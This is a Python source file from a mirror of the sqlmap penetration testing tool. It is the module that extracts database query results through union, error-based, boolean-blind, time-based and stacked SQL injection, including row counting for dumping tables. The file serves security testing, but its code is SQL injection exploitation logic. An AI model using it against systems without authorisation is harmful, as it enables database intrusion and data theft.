mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-26 19:43:48 +03:00
daebb0010b
Alignment of SQL statement payload packing/unpacking between all of the techniques. Minor bug fix to use the proper charset (2, numbers) when dealing with COUNT() in custom queries too. Minor code cleanup.
508 lines
20 KiB
Python
508 lines
20 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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import time
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from lib.core.agent import agent
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import cleanQuery
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from lib.core.common import dataToSessionFile
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from lib.core.common import expandAsteriskForColumns
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from lib.core.common import getIdentifiedDBMS
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from lib.core.common import getPublicTypeMembers
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from lib.core.common import initTechnique
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from lib.core.common import isNumPosStrValue
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import parseUnionPage
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from lib.core.common import popValue
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from lib.core.common import pushValue
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from lib.core.common import randomInt
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from lib.core.common import readInput
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from lib.core.common import replaceNewlineTabs
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from lib.core.common import safeStringFormat
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.enums import EXPECTED
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from lib.core.enums import PAYLOAD
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from lib.core.exception import sqlmapNotVulnerableException
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from lib.core.exception import sqlmapUserQuitException
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from lib.core.settings import FROM_TABLE
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from lib.core.settings import MIN_TIME_RESPONSES
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from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
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from lib.core.threads import getCurrentThreadData
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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from lib.request.direct import direct
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from lib.techniques.inband.union.use import unionUse
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from lib.techniques.blind.inference import bisection
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from lib.techniques.error.use import errorUse
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from lib.utils.resume import queryOutputLength
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from lib.utils.resume import resume
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def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
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start = time.time()
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timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
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if (conf.eta or conf.threads > 1) and getIdentifiedDBMS() and not timeBasedCompare:
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_, length, _ = queryOutputLength(expression, payload)
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else:
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length = None
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dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression))
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count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
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debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
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logger.debug(debugMsg)
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return value
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def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
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outputs = []
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origExpr = None
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for field in expressionFieldsList:
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output = None
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if field.startswith("ROWNUM "):
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continue
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if isinstance(num, int):
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origExpr = expression
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expression = agent.limitQuery(num, expression, field)
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if "ROWNUM" in expressionFieldsList:
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expressionReplaced = expression
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else:
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expressionReplaced = expression.replace(expressionFields, field, 1)
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if resumeValue:
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output = resume(expressionReplaced, payload)
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if not output or (expected == EXPECTED.INT and not output.isdigit()):
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if output:
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warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
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warnMsg += "sqlmap is going to retrieve the value again"
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logger.warn(warnMsg)
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output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
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if isinstance(num, int):
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expression = origExpr
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outputs.append(output)
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return outputs
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def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
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"""
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Retrieve the output of a SQL query characted by character taking
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advantage of an blind SQL injection vulnerability on the affected
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parameter through a bisection algorithm.
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"""
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initTechnique(kb.technique)
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vector = agent.cleanupPayload(kb.injection.data[kb.technique].vector)
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query = agent.prefixQuery(vector)
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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count = None
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startLimit = 0
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stopLimit = None
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outputs = []
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test = None
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untilLimitChar = None
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untilOrderChar = None
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if resumeValue:
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output = resume(expression, payload)
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else:
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output = None
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if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
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return output
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if not unpack:
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return __goInference(payload, expression, charsetType, firstChar, lastChar)
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if kb.dbmsDetected:
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_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
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rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
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if rdbRegExp and getIdentifiedDBMS() == DBMS.FIREBIRD:
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expressionFieldsList = [expressionFields]
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if len(expressionFieldsList) > 1:
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infoMsg = "the SQL query provided has more than a field. "
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infoMsg += "sqlmap will now unpack it into distinct queries "
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infoMsg += "to be able to retrieve the output even if we "
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infoMsg += "are going blind"
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logger.info(infoMsg)
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# If we have been here from SQL query/shell we have to check if
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# the SQL query might return multiple entries and in such case
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# forge the SQL limiting the query output one entry per time
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# NOTE: I assume that only queries that get data from a table
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# can return multiple entries
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if fromUser and " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))):
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limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
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topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
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if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
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if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
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limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
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limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
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if limitRegExp:
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limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
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limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif topLimit:
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startLimit = 0
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stopLimit = int(topLimit.group(1))
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limitCond = int(stopLimit) > 1
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elif getIdentifiedDBMS() == DBMS.ORACLE:
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limitCond = False
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else:
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limitCond = True
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# I assume that only queries NOT containing a "LIMIT #, 1"
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# (or similar depending on the back-end DBMS) can return
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# multiple entries
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if limitCond:
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if limitRegExp:
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stopLimit = int(stopLimit)
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# From now on we need only the expression until the " LIMIT "
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# (or similar, depending on the back-end DBMS) word
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if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
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stopLimit += startLimit
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untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
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expression = expression[:untilLimitChar]
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elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
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stopLimit += startLimit
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if not stopLimit or stopLimit <= 1:
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if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
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test = False
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else:
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test = True
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if test:
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# Count the number of SQL query entries output
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countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
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countedExpression = expression.replace(expressionFields, countFirstField, 1)
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if re.search(" ORDER BY ", expression, re.I):
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untilOrderChar = countedExpression.index(" ORDER BY ")
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countedExpression = countedExpression[:untilOrderChar]
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if resumeValue:
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count = resume(countedExpression, payload)
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if not stopLimit:
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if not count or not count.isdigit():
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count = __goInference(payload, countedExpression, 2, firstChar, lastChar)
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if isNumPosStrValue(count):
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count = int(count)
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if batch:
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stopLimit = count
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else:
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message = "the SQL query provided can return "
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message += "%d entries. How many " % count
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message += "entries do you want to retrieve?\n"
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message += "[a] All (default)\n[#] Specific number\n"
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message += "[q] Quit"
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test = readInput(message, default="a")
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if not test or test[0] in ("a", "A"):
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stopLimit = count
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elif test[0] in ("q", "Q"):
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raise sqlmapUserQuitException
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elif test.isdigit() and int(test) > 0 and int(test) <= count:
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stopLimit = int(test)
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infoMsg = "sqlmap is now going to retrieve the "
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infoMsg += "first %d query output entries" % stopLimit
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logger.info(infoMsg)
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elif test[0] in ("#", "s", "S"):
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message = "how many? "
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stopLimit = readInput(message, default="10")
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if not stopLimit.isdigit():
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errMsg = "invalid choice"
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logger.error(errMsg)
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return None
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else:
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stopLimit = int(stopLimit)
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else:
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errMsg = "invalid choice"
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logger.error(errMsg)
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return None
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elif count and not count.isdigit():
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the SQL query provided. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif (not count or int(count) == 0):
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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try:
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for num in xrange(startLimit, stopLimit):
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output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
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outputs.append(output)
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except KeyboardInterrupt:
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print
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warnMsg = "Ctrl+C detected in dumping phase"
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logger.warn(warnMsg)
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return outputs
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elif getIdentifiedDBMS() in FROM_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper():
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expression += FROM_TABLE[getIdentifiedDBMS()]
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outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
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returnValue = ", ".join([output for output in outputs])
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else:
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returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
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return returnValue
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def __goBooleanProxy(expression, resumeValue=True):
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"""
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Retrieve the output of a boolean based SQL query
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"""
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initTechnique(kb.technique)
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vector = kb.injection.data[kb.technique].vector
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vector = vector.replace("[INFERENCE]", expression)
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vector = agent.cleanupPayload(vector)
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query = agent.prefixQuery(vector)
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query = agent.suffixQuery(query)
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payload = agent.payload(newValue=query)
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timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)
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if resumeValue:
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output = resume(expression, payload)
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else:
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output = None
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if not output:
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output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False)
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return output
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def __goError(expression, expected=None, resumeValue=True, dump=False):
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"""
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Retrieve the output of a SQL query taking advantage of an error-based
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SQL injection vulnerability on the affected parameter.
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"""
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result = None
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if conf.direct:
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return direct(expression), None
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if resumeValue:
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result = resume(expression, None)
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if not result:
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result = errorUse(expression, expected, resumeValue, dump)
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return result
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def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=True, dump=False):
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"""
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Retrieve the output of a SQL query taking advantage of an inband SQL
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injection vulnerability on the affected parameter.
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"""
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output = None
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partial = False
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data = []
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if resumeValue:
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output = resume(expression, None)
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if not output or (expected == EXPECTED.INT and not output.isdigit()):
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partial = True
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if not output:
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output = unionUse(expression, resetCounter=True, unpack=unpack, dump=dump)
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if output:
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data = parseUnionPage(output, expression, partial, None, sort)
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return data
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def getValue(expression, blind=True, inband=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False, expectingNone=False):
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"""
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Called each time sqlmap inject a SQL query on the SQL injection
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affected parameter. It can call a function to retrieve the output
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through inband SQL injection (if selected) and/or blind SQL injection
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(if selected).
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"""
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getCurrentThreadData().disableStdOut = suppressOutput
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try:
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if conf.direct:
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value = direct(expression)
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elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))):
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query = cleanQuery(expression)
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query = expandAsteriskForColumns(query)
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value = None
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found = False
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if query and not 'COUNT(*)' in query:
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query = query.replace("DISTINCT ", "")
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count = 0
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if expected == EXPECTED.BOOL:
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forgeCaseExpression = booleanExpression = expression
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if expression.upper().startswith("SELECT "):
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booleanExpression = expression[len("SELECT "):]
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else:
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forgeCaseExpression = agent.forgeCaseStatement(expression)
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if inband and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
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kb.technique = PAYLOAD.TECHNIQUE.UNION
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if expected == EXPECTED.BOOL:
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value = __goInband(forgeCaseExpression, expected, sort, resumeValue, unpack, dump)
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else:
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value = __goInband(query, expected, sort, resumeValue, unpack, dump)
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count += 1
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found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
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if error and isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) and not found:
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kb.technique = PAYLOAD.TECHNIQUE.ERROR
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if expected == EXPECTED.BOOL:
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value = __goError(forgeCaseExpression, expected, resumeValue, dump)
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else:
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value = __goError(query, expected, resumeValue, dump)
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count += 1
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found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
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if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found:
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kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
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if expected == EXPECTED.BOOL:
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value = __goBooleanProxy(booleanExpression, resumeValue)
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else:
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value = __goInferenceProxy(query, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
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count += 1
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found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
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if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found:
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if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
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kb.technique = PAYLOAD.TECHNIQUE.TIME
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else:
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kb.technique = PAYLOAD.TECHNIQUE.STACKED
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if expected == EXPECTED.BOOL:
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value = __goBooleanProxy(booleanExpression, resumeValue)
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else:
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value = __goInferenceProxy(query, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
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if value and isinstance(value, basestring):
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value = value.strip()
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else:
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errMsg = "none of the injection types identified can be "
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errMsg += "leveraged to retrieve queries output"
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raise sqlmapNotVulnerableException, errMsg
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finally:
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getCurrentThreadData().disableStdOut = False
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if value and expected == EXPECTED.BOOL:
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if isinstance(value, basestring):
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if value.lower() in ("true", "false"):
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value = bool(value)
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elif value.capitalize() == "None":
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value = None
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else:
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value = value != "0"
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elif isinstance(value, int):
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value = bool(value)
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return value
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def goStacked(expression, silent=False):
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kb.technique = PAYLOAD.TECHNIQUE.STACKED
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expression = cleanQuery(expression)
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if conf.direct:
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return direct(expression), None
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comment = queries[getIdentifiedDBMS()].comment.query
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query = agent.prefixQuery("; %s" % expression)
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query = agent.suffixQuery("%s;%s" % (query, comment))
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payload = agent.payload(newValue=query)
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page, _ = Request.queryPage(payload, content=True, silent=silent, noteResponseTime=False)
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return payload, page
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def checkBooleanExpression(expression, expectingNone=True):
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return getValue(unescaper.unescape(expression), expected=EXPECTED.BOOL, suppressOutput=True, expectingNone=expectingNone)
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